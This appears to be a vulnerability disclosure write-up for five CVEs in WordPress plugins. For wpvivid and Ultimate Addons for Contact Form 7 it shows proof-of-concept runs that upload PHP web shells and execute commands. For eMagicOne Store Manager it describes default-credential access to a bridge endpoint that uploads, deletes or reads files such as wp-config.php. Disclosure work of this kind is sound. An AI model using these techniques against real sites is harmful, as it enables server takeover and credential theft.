CVE-2025-5961

The wpvivid-backuprestore plugin does not sanitize the file types of the wpvivid_upload_import_files action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server. NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.

TL;DR Exploits

  • A POC CVE-2025-5961.py is provided to demonstrate an administrator uploading a web shell named hack.php.
 python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 78309sec preferred_lft 78309sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86105sec preferred_lft 14105sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

The wpvivid_upload_import_files action calls the upload_files function on line 2210 of /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php without enforcing any file type validation.

CVE-2025-6220

The Ultimate Addons for Contact Form 7 plugin does not sanitize the file types in its options save functionality, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.

TL;DR Exploits

  • A POC CVE-2025-6220.py is provided to demonstrate an administrator uploading a web shell named shell.php.
python3 CVE-2025-6220.py https://lab1.hacker admin PASSWORD

Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
70e7b99966
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 61299sec preferred_lft 61299sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86240sec preferred_lft 14240sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

The uacf7_options_save functionality in /wp-content/plugins/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php processes file uploads without enforcing proper file type validation.

CVE-2025-5058

The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file uploads to the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and upload arbitrary files (including PHP shells) to the WordPress root or any writable directory via the set_image task.

CVE-2025-4603

The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and delete arbitrary files from the WordPress root or any accessible directory.

Reproduction

A POC CVE-2025-4603.py is provided to demonstrate an attacker deleting wp-config.php.

CVE-2025-4602

The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.

Reproduction

A POC CVE-2025-4602.py is provided to demonstrate reading the wp-config.php file from the server.